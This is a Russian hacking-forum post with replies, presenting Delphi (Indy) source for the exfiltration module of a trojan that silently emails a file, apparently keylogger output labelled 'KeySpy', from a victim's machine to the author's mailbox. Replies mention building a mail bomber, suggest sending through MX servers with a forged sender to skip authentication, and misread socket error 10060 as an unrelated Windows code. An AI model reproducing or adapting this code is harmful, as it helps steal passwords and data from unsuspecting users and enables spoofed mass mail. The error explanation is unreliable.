На Ачате стали появляться статьи по кодингу, и я, будучи программистом, тоже захотел внести свою лепту в развитие этого раздела. Нет, я не буду объяснять вам, как сделать программу погони за бешенной кнопкой, я думаю, что эта тема очень отдаленно связана с хакингом. Сегодня я хочу рассказать о написании трояна - вернее, части трояна. Впрочем, созданную тулзу вы сможете вполне использовать и в мирных целях. И так, давайте напишем нечто вроде почтового клиента. Я думаю, не стоит объяснять, что многие трояны высылают каким-либо образом найденную информацию на мыло своему создателю. Сначала зарегим мыло на mail'е. Этот ящик потребуется нам для отправки писем. Давайте приступим к написанию проги. Вынесем на форму компоненты IdSMTP и IdMessage (вкладки Indy Clients и Indy Misc). Создадим процедуру отправки письма. Назовем ее SendMail: procedure SendMail; var LSMTP: TIdSMTP; LMsg: TIdMessage; x: TIdAttachment; //это - аттач письма Мы объявили переменные, теперь создаемся: begin //Ну начинаем LSMTP := TIdSMTP.Create(nil); //Создаемся LMsg := TIdMessage.Create(LSMTP); Отлично, пора приступать к написанию письма)) with LMsg do begin Subject := 'Пароли Ламерюги'; // Здесь вводим тему Recipients.EMailAddresses := '[email protected]' ; // куда будет послано письмо...я пишу жене и дочке, точка. From.Text := '[email protected]'; //Зареганное мыло на мейле. Body.Add('Текст письма'); x:=TIdAttachment.Create(LMsg.MessageParts,'Путь к файлу аттача'); //аттач письма end; with LSMTP do begin AuthenticationType:=atNone; Host := 'smtp.mail.ru'; Port := 25; Username :='[email protected]' ; //зареганное мыло на мейле Password :='lol' ; //пароль к зареганному мылу на мейле try Connect; //зухель коннект!! Send(LMsg); except end; end; FreeAndNil(LMsg); FreeAndNil(LSMTP); end; Строчки try Connect; Send(LMsg); except добавленны для того, чтобы, если нет соединения с нетом, не вылетала ошибка (Конструкция try ... exept). Вот, собственно, и все. Вот полный листинг проги: procedure SendMail; var LSMTP: TIdSMTP; LMsg: TIdMessage; x: TIdAttachment; windir: array [0..255] of char;//Обьявлям переменные. begin //Ну начинаем LSMTP := TIdSMTP.Create(nil); //Создаемся LMsg := TIdMessage.Create(LSMTP); with LMsg do begin Subject := 'Пароли Ламерюги'; // Здесь вводим тему Recipients.EMailAddresses := '[email protected]' ; // куда будет послано письмо From.Text := '[email protected]'; //От кудыкина будет письмо Body.Add('KeySpy'); x:=TIdAttachment.Create(LMsg.MessageParts,windir+'путь'); end; with LSMTP do begin AuthenticationType:=atNone; Host := 'smtp.mail.ru'; Port := 25; Username :='[email protected]' ; Password :='loxi' ; try Connect; //зухель коннект!! Send(LMsg); except end; end; FreeAndNil(LMsg); FreeAndNil(LSMTP); end; Просьба заценить статью.
Ну я все отшлифовал и скомпилировал, но на Send(msg) мне выдает socket error 10060. Это проблема с SMTP, когда я делал mail bomber на vb или C#, у меня тоже самое было, а когда я ставлю вместо mailовского SMTP свой локальный все посылает и доходит. Как у остальных все с этим делом нормально или таже хренотень?
Для ОСОБО ЛЕНИВЫХ: ОТКРЫВАЕМ WINERROR.H и ИШЕМ СТРОКУ "60" НАХОДИМ КРАСНЫМ НАПИСАНО: 10060 - ОШИБКА WINSOCKET - // // MessageId: ERROR_BAD_REM_ADAP // // MessageText: // // The remote adapter is not compatible. // #define ERROR_BAD_REM_ADAP 60L
А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей
Как получить точно не подскажу. Но можно узнать у DNS сервера, прописаного в настройках. Как - читай RFC о DNS. (нужна какую-то UDP датаграмму послать) http://rfc.net/search.php3?phrase=DNS Я немного поискал в поисковиках, пока безрезультатно, везде такиеже тупые советы (прям как у меня) - но конкретно никто ничего незнает ... А слать само письмо очень просто подключись, пошли MAIL FROM: свойадрес RCPT TO: кому DATA тут текст . причем абсолютно всеравно, с какого емейла вы будете это слать, тоесть на поле MAIL FROM нет ограничений (кроме, наверное формата a@b), так будет всегда, т.к. если бы письма локального пользователя не принимались, не работала бы маршрутизация почты. мы просто делаем вид что мы сервер, через который было послано письмо. например с мыла [email protected] (через a.com) шлется письмо для [email protected] (сервер b.com) сервер b.com подключаетс к mx-серверу a.com, т.к. это локальный сервер для юзера [email protected], на который пошло письмо и без всякой авторизации и прочей ерунды передает ему письмо. чато бывает что адрес mx-сервера mx0.server (например mx0.myserver.com)
Короче довольно долго лазил по поисковикам, но единственное что нашел какой то обрывок кода. Автор говорит что он получает mx по dns, но я так и не понял на каком языке он написан, кажись на с++, ну короче может кто объяснит что это такое: use Net:NS; my @mx = mx($domain);